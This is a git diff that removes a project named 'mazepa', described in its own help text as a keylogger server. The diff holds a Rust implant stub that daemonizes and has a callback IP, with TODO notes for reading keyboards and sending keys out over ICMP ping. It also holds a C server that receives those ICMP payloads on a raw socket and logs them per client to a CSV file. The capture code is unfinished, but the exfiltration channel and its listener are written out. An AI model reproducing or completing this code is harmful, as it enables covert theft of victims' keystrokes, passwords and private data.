diff --git a/mazepa/.gitignore b/mazepa/.gitignore
@@ -1 +0,0 @@
-target/
diff --git a/mazepa/Cargo.lock b/mazepa/Cargo.lock
@@ -1,260 +0,0 @@
-# This file is automatically @generated by Cargo.
-# It is not intended for manual editing.
-version = 4
-
-[[package]]
-name = "aho-corasick"
-version = "1.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "daemonize"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ab8bfdaacb3c887a54d41bdf48d3af8873b3f5566469f8ba21b92057509f116e"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "glob"
-version = "0.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a8d1add55171497b4705a648c6b583acafb01d58050a51727785f0b2c8e0a2b2"
-
-[[package]]
-name = "ipnetwork"
-version = "0.20.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bf466541e9d546596ee94f9f69590f89473455f88372423e0008fc1a7daf100e"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "libc"
-version = "0.2.171"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c19937216e9d3aa9956d9bb8dfc0b0c8beb6058fc4f7a4dc4d850edf86a237d6"
-
-[[package]]
-name = "mazepa"
-version = "0.1.0"
-dependencies = [
- "daemonize",
- "libc",
- "pnet",
-]
-
-[[package]]
-name = "memchr"
-version = "2.7.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3"
-
-[[package]]
-name = "no-std-net"
-version = "0.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "43794a0ace135be66a25d3ae77d41b91615fb68ae937f904090203e81f755b65"
-
-[[package]]
-name = "pnet"
-version = "0.35.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "682396b533413cc2e009fbb48aadf93619a149d3e57defba19ff50ce0201bd0d"
-dependencies = [
- "ipnetwork",
- "pnet_base",
- "pnet_datalink",
- "pnet_packet",
- "pnet_sys",
- "pnet_transport",
-]
-
-[[package]]
-name = "pnet_base"
-version = "0.35.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ffc190d4067df16af3aba49b3b74c469e611cad6314676eaf1157f31aa0fb2f7"
-dependencies = [
- "no-std-net",
-]
-
-[[package]]
-name = "pnet_datalink"
-version = "0.35.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e79e70ec0be163102a332e1d2d5586d362ad76b01cec86f830241f2b6452a7b7"
-dependencies = [
- "ipnetwork",
- "libc",
- "pnet_base",
- "pnet_sys",
- "winapi",
-]
-
-[[package]]
-name = "pnet_macros"
-version = "0.35.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "13325ac86ee1a80a480b0bc8e3d30c25d133616112bb16e86f712dcf8a71c863"
-dependencies = [
- "proc-macro2",
- "quote",
- "regex",
- "syn",
-]
-
-[[package]]
-name = "pnet_macros_support"
-version = "0.35.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eed67a952585d509dd0003049b1fc56b982ac665c8299b124b90ea2bdb3134ab"
-dependencies = [
- "pnet_base",
-]
-
-[[package]]
-name = "pnet_packet"
-version = "0.35.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4c96ebadfab635fcc23036ba30a7d33a80c39e8461b8bd7dc7bb186acb96560f"
-dependencies = [
- "glob",
- "pnet_base",
- "pnet_macros",
- "pnet_macros_support",
-]
-
-[[package]]
-name = "pnet_sys"
-version = "0.35.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7d4643d3d4db6b08741050c2f3afa9a892c4244c085a72fcda93c9c2c9a00f4b"
-dependencies = [
- "libc",
- "winapi",
-]
-
-[[package]]
-name = "pnet_transport"
-version = "0.35.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5f604d98bc2a6591cf719b58d3203fd882bdd6bf1db696c4ac97978e9f4776bf"
-dependencies = [
- "libc",
- "pnet_base",
- "pnet_packet",
- "pnet_sys",
-]
-
-[[package]]
-name = "proc-macro2"
-version = "1.0.94"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a31971752e70b8b2686d7e46ec17fb38dad4051d94024c88df49b667caea9c84"
-dependencies = [
- "unicode-ident",
-]
-
-[[package]]
-name = "quote"
-version = "1.0.40"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d"
-dependencies = [
- "proc-macro2",
-]
-
-[[package]]
-name = "regex"
-version = "1.11.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b544ef1b4eac5dc2db33ea63606ae9ffcfac26c1416a2806ae0bf5f56b201191"
-dependencies = [
- "aho-corasick",
- "memchr",
- "regex-automata",
- "regex-syntax",
-]
-
-[[package]]
-name = "regex-automata"
-version = "0.4.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "809e8dc61f6de73b46c85f4c96486310fe304c434cfa43669d7b40f711150908"
-dependencies = [
- "aho-corasick",
- "memchr",
- "regex-syntax",
-]
-
-[[package]]
-name = "regex-syntax"
-version = "0.8.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c"
-
-[[package]]
-name = "serde"
-version = "1.0.219"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6"
-dependencies = [
- "serde_derive",
-]
-
-[[package]]
-name = "serde_derive"
-version = "1.0.219"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "syn"
-version = "2.0.100"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b09a44accad81e1ba1cd74a32461ba89dee89095ba17b32f5d03683b1b1fc2a0"
-dependencies = [
- "proc-macro2",
- "quote",
- "unicode-ident",
-]
-
-[[package]]
-name = "unicode-ident"
-version = "1.0.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512"
-
-[[package]]
-name = "winapi"
-version = "0.3.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
-dependencies = [
- "winapi-i686-pc-windows-gnu",
- "winapi-x86_64-pc-windows-gnu",
-]
-
-[[package]]
-name = "winapi-i686-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
-
-[[package]]
-name = "winapi-x86_64-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
diff --git a/mazepa/Cargo.toml b/mazepa/Cargo.toml
@@ -1,9 +0,0 @@
-[package]
-name = "mazepa"
-version = "0.1.0"
-edition = "2024"
-
-[dependencies]
-daemonize = "0.5.0"
-libc = "0.2.171"
-pnet = "0.35.0"
diff --git a/mazepa/src/cfg.rs b/mazepa/src/cfg.rs
@@ -1,31 +0,0 @@
-
-/*
- TODO(djnn):
-
- - read from memory & retrieve config
-
-*/
-
-pub struct Config {
-
- pub daemon_enabled: bool,
- pub callback_ip: String,
-}
-
-
-impl Config {
- pub fn new() -> Self {
-
- #[cfg(debug_assertions)]
- Config{
- callback_ip: "10.0.0.2".to_string(),
- daemon_enabled: false,
- };
-
- Config{
- callback_ip: "10.0.0.2".to_string(),
- daemon_enabled: false,
- }
- }
-}
-
diff --git a/mazepa/src/main.rs b/mazepa/src/main.rs
@@ -1,44 +0,0 @@
-
-extern crate daemonize;
-
-use std::fmt::Result;
-
-#[cfg(debug_assertions)]
-use std::fs::File;
-
-use cfg::Config;
-use daemonize::Daemonize;
-mod cfg;
-
-fn main() -> Result {
-
- let cfg = Config::new();
-
- #[cfg(target_os = "linux")]
- if cfg.daemon_enabled {
-
- #[cfg(debug_assertions)]
- let stdout = File::create("/tmp/mazepa.out").unwrap();
- let stderr = File::create("/tmp/mazepa.err").unwrap();
-
- #[cfg(debug_assertions)]
- let deamon = Daemonize::new()
- .stdout(stdout)
- .stderr(stderr);
-
- #[cfg(not(debug_assertions))]
- let deamon = Daemonize::new();
-
- deamon.start().unwrap();
- }
-
- /*
- TODO:
-
- - load keylogger instance
- -> read from multiple keyboards (& manage locales)
- -> send ICMP ping
- */
-
- Ok(())
-}
diff --git a/server/.clang-format b/server/.clang-format
@@ -1,16 +0,0 @@
-BasedOnStyle: LLVM
-AccessModifierOffset: '-4'
-ColumnLimit: '0'
-FixNamespaceComments: 'false'
-IndentCaseLabels: 'false'
-IndentWidth: '4'
-NamespaceIndentation: All
-TabWidth: '4'
-UseTab: Never
-SortIncludes: true
-IncludeBlocks: Preserve
-IncludeCategories:
- - Regex: '^"[[:alnum:]./]+"' # Any "my_header.h"
- Priority: 2
- - Regex: '<[[:alnum:]./]+>' # System/Standard libs
- Priority: 1
diff --git a/server/Makefile b/server/Makefile
@@ -1,76 +0,0 @@
-########################
-#### VARIABLES #########
-########################
-
-NAME = server
-CC = clang
-RM = rm -rf
-
-INCLUDES = -I./includes/
-LINK_FLAG = -lxkbcommon
-
-
-CFLAGS = -Wno-unused-command-line-argument -Wno-cast-qual -fPIC
-CFLAGS += -Wno-tautological-value-range-compare
-
-ifeq ($(MAKECMDGOALS), debug)
- CFLAGS += -g3 -DDEBUG -Wno-format-security
-else
- CFLAGS += -Wall -Wextra -O3 -Weverything -Wpedantic -Wl,-s
- CFLAGS += -Wno-padded -Wno-gnu-zero-variadic-macro-arguments -Wno-declaration-after-statement
-endif
-
-
-PATTERN = .c
-OBJPATTERN = .o
-SRC_DIR = ./sources
-OBJECT_DIR = ./objects
-
-vpath %$(PATTERN) $(SRC_DIR)
-
-MAIN = main.c
-SRC = net.c lexxer.c csv.c loop.c keys.c
-
-########################
-#### COMPILATION #######
-########################
-
-COMBINED = $(SRC) $(MAIN)
-OBJ = $(patsubst %$(PATTERN), $(OBJECT_DIR)/%$(OBJPATTERN), $(COMBINED))
-
-
-.PHONY: all
-all: directories $(NAME) ## generate PROD binary (you might have to run make fclean before)
-
-
-.PHONY: debug
-debug: directories $(NAME) ## generate DEBUG binary (you might have to run make fclean before)
- @echo "[ ** DEBUG BINARY COMPILED WITH $(CFLAGS) **]"
-
-
-$(OBJECT_DIR):
- @mkdir -pv $@
-
-directories: | $(OBJECT_DIR)
-
-$(OBJECT_DIR)/%$(OBJPATTERN) : %$(PATTERN)
- @$(CC) -o $@ -c $< $(CFLAGS) $(INCLUDES) $(LINK_FLAG)
- @echo "Compiling $@"
-
-$(NAME): $(OBJ)
- @$(CC) -o $(NAME) $^ $(CFLAGS) $(INCLUDES) $(LINK_FLAG)
- @echo "[*** COMPILATION SUCCESSFUL ***]"
-
-.PHONY: clean
-clean: ## removes object files
- @$(RM) objects
-
-.PHONY: fclean
-fclean: clean ## removes all compilation artifacts
- @$(RM) $(NAME)
- @echo "[*** CLEAN ***]"
-
-.PHONY: re ## cleans everything and rebuild PROD binary
-re: fclean all
-
-
diff --git a/server/includes/server.h b/server/includes/server.h
@@ -1,127 +0,0 @@
-#ifndef SERVER_H
-#define SERVER_H
-
-#ifdef DEBUG
-
-#include <errno.h>
-#include <stddef.h>
-#include <stdio.h>
-#include <string.h>
-#include <syslog.h>
-
-#ifndef DEBUG_LOG
-#define DEBUG_LOG(s, ...) \
- do { \
- char data[256] = {0}; \
- if (0 > snprintf(data, 255, s, ##__VA_ARGS__)) \
- _exit(1); \
- syslog(LOG_NOTICE, data); \
- } while (0)
-#endif
-
-#endif
-
-
-#ifndef STATIC_IP_ADDR
-#define STATIC_IP_ADDR ("0.0.0.0")
-#endif
-
-#include <sys/queue.h>
-#include <sys/types.h>
-#include <unistd.h>
-
-#define QUEUE_BUFFER_SIZE 1024
-#define STRING_BUFFER_SIZE 4096
-#define MAX_NB_CLIENT 128
-
-/* meant for key translations from xkbcommon and the event we receive. :^) */
-typedef struct translated_key {
- char const *description;
- char const representation;
-} translated_key_t;
-
-/*
- this will be meant to hold a single client information, along with
- all the information it has passed along to our server.
-*/
-typedef struct client_state client_t;
-struct client_state {
-
- /* if all client fields in server state are occupied,
- * we remove the eldest client. When it pings again,
- * we can remove another one
- */
- unsigned long last_ping_timestamp;
-
- char current_buffer[STRING_BUFFER_SIZE];
- ssize_t nb_bytes_in_buffer;
-
- /* client metadata dumped in database */
- char ipaddr[STRING_BUFFER_SIZE];
- char locale[STRING_BUFFER_SIZE];
-
- TAILQ_ENTRY(client_state)
- clients;
-};
-
-#define IP_LENGTH (16)
-#define ICMP_DATA_LENGTH (2048) /* should not exceed 9000 AFAIK (also should not exceed STRING_BUFFER_SIZE) */
-
-typedef struct icmp_packet {
- char addr[IP_LENGTH];
- int type;
-
- char payload[ICMP_DATA_LENGTH];
- size_t payload_size;
-} icmp_msg_t;
-
-
-/* main server object */
-typedef struct server_state {
-
- /* current clients */
- TAILQ_HEAD(listhead, client_state)
- clients;
-
- struct user_options {
- char const db_filepath[STRING_BUFFER_SIZE]; // .csv filepath
- unsigned short listen_port;
-
- /*
- TODO:
- add encryption key config here, once protocol impl. is finished
- */
- } options;
-
- int sockfd;
- int dbfd;
-
-} server_t;
-
-#define SUCCESSFUL 1
-#define ERROR 0
-
-#define KEY_PRESSED 1
-#define KEY_RELEASED 0
-
-#define MTU (1472)
-
-// net.c
-int init_remote_connection(server_t *instance);
-int net_icmp_recv(const server_t *instance, icmp_msg_t *msg);
-
-// lexxer.c
-int parse_cli_arguments(server_t *instance, const int ac, char **av, char **envp);
-
-// csv.c
-int init_csv_dbfd(char const *filepath);
-
-// loop.c
-void loop(server_t *instance);
-int should_gracefully_exit(int code);
-
-// keys.c
-
-
-
-#endif /* SERVER_H */
diff --git a/server/scripts/setup.sh b/server/scripts/setup.sh
@@ -1,17 +0,0 @@
-#!/bin/env bash
-
-# this script is useful to install
-# all the dependencies required to run the server
-#
-# for now, it only supports (and targets) Debian-based distros
-
-set -euo pipefail
-
-
-install_debian() {
- sudo apt install -y clang clang-tools libxkbcommon-dev
-}
-
-apt search clang >/dev/null || { echo "Only debian-based distros are supported" && exit 1 ; }
-install_debian
-
diff --git a/server/sources/csv.c b/server/sources/csv.c
@@ -1,46 +0,0 @@
-/*
- Manages .csv logging here, so that it is easily sync'd up.
-
-TODO:
- - add optional support for sqlite (maybe at compile-time) with an option
- - build little abstraction that will call the under-layered functions
-underneath
-*/
-
-#include <fcntl.h>
-#include <unistd.h>
-#include "server.h"
-
-int init_csv_dbfd(char const *filepath) {
-
- if (!filepath || (!(*filepath)))
- return -1;
-
- /* obviously, we need to have a read-writable file */
- int access_status = access(filepath, R_OK | W_OK);
-
- /* file probably does not exist, let's create a file and return fd */
- if (access_status == -1) {
- int fd = open(filepath, O_CREAT | O_RDWR);
-#ifdef DEBUG
- DEBUG_LOG("[+] created dbfd: %d\n", fd);
-#endif
- return fd;
- }
-
- /* all good, lets just open & return */
- if (access_status == 0) {
- int fd = open(filepath, O_RDWR);
-#ifdef DEBUG
- DEBUG_LOG("[+] opened existing dbfd: %d\n", fd);
-#endif
- return fd;
- }
-
- /* incorrect perms is most likely */
-#ifdef DEBUG
- DEBUG_LOG("[!] could not open %s: access() result: %d\n", filepath, access_status);
- DEBUG_LOG("incorrect file permissions is the most likely issue...\n");
-#endif
- return -1;
-}
diff --git a/server/sources/keys.c b/server/sources/keys.c
@@ -1,52 +0,0 @@
-
-#include <string.h>
-#include "server.h"
-
-#include <linux/input-event-codes.h>
-#include <linux/input.h>
-#include <xkbcommon/xkbcommon.h>
-
-static const translated_key_t KEYS[] = {
- {"space", ' '},
- {"comma", ','},
- {"period", '.'},
- {"slash", '/'},
- {"questionmark", '?'},
- {"semicolon", ';'},
- {"apostrophe", '\''},
- {"bracketleft", '['},
- {"bracketright", ']'},
- {"backslash", '\\'},
- {"pipe", '|'},
- {"Tab", '\t'},
- {"minus", '-'},
- {"plus", '+'},
- {"equal", '='},
- {"dollar", '$'},
- {"percentage", '%'},
- {"star", '*'},
- {"parenthesisleft", '('},
- {"parenthesisright", ')'},
- {"underscore", '_'},
- {"ampersand", '&'},
- {"pound", '#'},
- {"arobase", '@'},
- {"tild", '~'},
- {NULL, 0},
-};
-
-
-static char *
-retrieve_translated_key(char *key_desc) {
- for (size_t ctr = 0; KEYS[ctr].description != NULL; ctr++) {
- if (!strncmp(KEYS[ctr].description, key_desc, strlen(KEYS[ctr].description))) {
-
- memset(key_desc, 0, STRING_BUFFER_SIZE);
- key_desc[0] = KEYS[ctr].representation;
-
- break;
- }
- }
- return key_desc;
-}
-
diff --git a/server/sources/lexxer.c b/server/sources/lexxer.c
@@ -1,67 +0,0 @@
-
-#include <getopt.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <strings.h>
-#include <unistd.h>
-#include "server.h"
-
-const static struct option cli_options[] = {
- {"help", no_argument, 0, 'h'},
- {"listen-port", required_argument, 0, 'p'},
- {"db-path", required_argument, 0, 'd'},
-};
-
-static void
-get_help(const char *bin_name) {
- printf("%s: mazepa keylogger server\n\n", bin_name);
- printf("USAGE:\n");
- printf("\t--listen-port [-p]: specifies server listening port\n");
- printf("\t--db-path [-d]: specifies .csv filepath\n");
-
- printf("\t--help [-h]: triggers help mode\n");
- printf("\n\nwritten with <3 by djnn -- https://djnn.sh\n");
-}
-
-int parse_cli_arguments(server_t *instance, const int ac, char **av, __attribute__((unused)) char **envp) {
-
- int c = 0;
- int opt_idx = 0;
- char const *short_options = "d:p:h";
-
- while ((c = getopt_long(ac, av, short_options, cli_options, &opt_idx)) !=
- -1) {
-
- switch (c) {
- case 'h':
- get_help(av[0]);
- _exit(0);
-
- case 'd':
-
- instance->options.listen_port = (unsigned short)strtoul(optarg, NULL, 0);
-#ifdef DEBUG
- DEBUG_LOG("setting listen port to %d", instance->options.listen_port);
-#endif
- break;
-
- case 'p':
-
- bzero((void *)instance->options.db_filepath, STRING_BUFFER_SIZE);
- memcpy((void *)instance->options.db_filepath, optarg, strnlen(optarg, STRING_BUFFER_SIZE));
-#ifdef DEBUG
- DEBUG_LOG("setting .db filepath to: %s", instance->options.db_filepath);
-#endif
- break;
-
- case '?':
- return ERROR;
-
- default:
- break;
- }
- }
-
- return SUCCESSFUL;
-}
diff --git a/server/sources/loop.c b/server/sources/loop.c
@@ -1,86 +0,0 @@
-/*
- stores main loop logic (that is managing entering / ending connections &
- logging them keys)
-*/
-
-#include <ctype.h>
-#include <fcntl.h>
-#include <signal.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/queue.h>
-#include <sys/select.h>
-#include <sys/socket.h>
-#include <unistd.h>
-#include "server.h"
-
-
-static void
-sig_handler(int code) {
- if (code == SIGINT)
- should_gracefully_exit(code);
-}
-
-
-void loop(server_t *instance) {
-
- int dbfd = init_csv_dbfd(instance->options.db_filepath);
- if (dbfd < 0 && instance->options.db_filepath[0] != 0)
- return;
-
- signal(SIGINT, sig_handler);
- TAILQ_INIT(&instance->clients);
- while (!should_gracefully_exit(0)) {
-
- icmp_msg_t msg = {0};
-
- /* poll for new packet */
- if (net_icmp_recv(instance, &msg) < 0) {
- goto CLEANUP_ROUTINE;
- }
-
- /* have we received a new message ?
- * (we should always have one but lets check if something fucked up) */
- if (msg.addr[0] == 0) {
- usleep(2500);
- continue;
- }
-
- /* find related client in client-list, then update state */
- client_t *it = NULL;
- int found_client = 0;
- TAILQ_FOREACH(it, &instance->clients, clients) {
- if (strncmp(it->ipaddr, msg.addr, STRING_BUFFER_SIZE) == 0) {
- /* update state ! */
- found_client = 1;
- }
- }
-
- /* no client found, find least active client & kick it. then, add it */
- if (!found_client) {
-
-
- }
-
-
- }
-
-CLEANUP_ROUTINE:
-
- /* TODO(djnn): dump all client state to database & close server */
-
-
- close(dbfd);
-}
-
-int should_gracefully_exit(int code) {
- static int should_exit = 0;
-
- if (code != 0 || should_exit) {
-#ifdef DEBUG
- DEBUG_LOG("[+] caught code: %d\n", code)
-#endif
- should_exit = 1;
- }
- return should_exit;
-}
diff --git a/server/sources/main.c b/server/sources/main.c
@@ -1,23 +0,0 @@
-
-#include <unistd.h>
-#include "server.h"
-
-int main(const int ac, char **av, char **envp) {
-
- server_t srv = {0};
-
- if (!parse_cli_arguments(&srv, ac, av, envp)) {
-#ifdef DEBUG
- DEBUG_LOG("[%s]: invalid arguments. exiting on startup.", av[0]);
-#endif
- _exit(1);
- }
-
- srv.sockfd = init_remote_connection(&srv);
-#ifdef DEBUG
- DEBUG_LOG("[+] socket initiated....preparing DB connection");
-#endif
-
- loop(&srv);
- return 0;
-}
diff --git a/server/sources/net.c b/server/sources/net.c
@@ -1,137 +0,0 @@
-/*
- this code handles the main server loop
-
-
-*/
-
-#include <arpa/inet.h>
-#include <netinet/in.h>
-#include <netinet/ip_icmp.h>
-#include <sys/socket.h>
-
-#include <string.h>
-#include "server.h"
-
-int init_remote_connection(server_t *instance) {
-
-#ifdef DEBUG
- DEBUG_LOG("Initiating remote connection with (localhost:%d)",
- instance->options.listen_port);
-#endif
-
- /*
- creating initial socket...
-
- we will transmit keys logged over ICMP protocol.
- to parse ICMP packets, we must use RAW sockets & filter the packets ourselves :)
-
- AF_INET -> remote connection (for local, use AF_UNIX)
- SOCK_STREAM -> TCP connection (for UDP, use SOCK_DGRAM)
- IPPROTO_TCP -> Specify protocol (for UDP, use IPPROTO_UDP)
-
- */
- int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
- if (sockfd < 0) {
-
-#ifdef DEBUG
- perror("socket");
-#endif
-
- close(sockfd);
- return -1;
- }
-
- /* items required to bind socket to remote address */
- int is_enabled = 1;
- struct sockaddr_in addr = {.sin_family = AF_INET,
- .sin_port = htons(instance->options.listen_port),
- .sin_addr.s_addr = inet_addr(STATIC_IP_ADDR)};
-
- /* setting socket options to make connection more convenient
- * allowing to reuse ADDR or PORT (useful for testing)
- * */
- if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT,
- &is_enabled,
- sizeof(int)) < 0) {
-
-#ifdef DEBUG
- DEBUG_LOG("setsockopt send_key_description: %s", strerror(errno));
-#endif
-
- close(sockfd);
- return -1;
- }
-
- if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &is_enabled, sizeof(int)) < 0) {
-
-#ifdef DEBUG
- DEBUG_LOG("setsockopt send_key_description (IP_HDRINCL): %s", strerror(errno));
-#endif
-
- close(sockfd);
- return -1;
- }
-
- if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
-
-#ifdef DEBUG
- DEBUG_LOG("connect: %s", strerror(errno));
-#endif
-
- close(sockfd);
- return -1;
- }
-
- return sockfd;
-}
-
-/* NOTE(djnn): this function's failure triggers exit routine,
- * so ERROR is only returned on critical error */
-int net_icmp_recv(const server_t *instance, icmp_msg_t *msg) {
-
- socklen_t src_addr_size = 0;
- struct sockaddr_in src_addr = {0};
- struct iphdr *ip_addr = NULL;
- struct icmphdr *icmp_header = NULL;
-
- /* check if we can hold the full message */
- _Static_assert(MTU + sizeof(struct iphdr) + sizeof(struct icmphdr) < ICMP_DATA_LENGTH, "ICMP_DATA_LENGTH is not big enough");
-
- const int encapsulated_mtu = MTU + sizeof(struct iphdr) + sizeof(struct icmphdr);
- char full_packet[ICMP_DATA_LENGTH] = {0}; /* all values are static ; this is fine */
-
- /* blocking recvfrom() to retrieve ICMP packet :) */
- ssize_t pktsz = recvfrom(
- instance->sockfd,
- full_packet,
- encapsulated_mtu,
- 0,
- (struct sockaddr *)&(src_addr),
- &src_addr_size
- );
- if (pktsz < 0)
- return ERROR;
-
- /* parse headers */
- ip_addr = (struct iphdr *)full_packet;
- icmp_header = (struct icmphdr *)(full_packet + sizeof(struct iphdr));
- msg->payload_size = (size_t)pktsz - sizeof(struct iphdr) - sizeof(struct icmphdr);
-
- if (memccpy(
- msg->payload,
- (full_packet + sizeof(struct iphdr) + sizeof(struct icmphdr)),
- 0,
- msg->payload_size
- ) == NULL) {
- /* non-critical error. maybe perror() this ? */
- bzero(msg->addr, IP_LENGTH);
-
- return SUCCESSFUL;
- }
-
- /* set message type & source ip-addr */
- msg->type = icmp_header->type;
- inet_ntop(AF_INET, &(ip_addr->saddr), msg->addr, INET_ADDRSTRLEN);
-
- return SUCCESSFUL;
-}
| | | | | | | | | | | | | | | | | | | | | | | | | |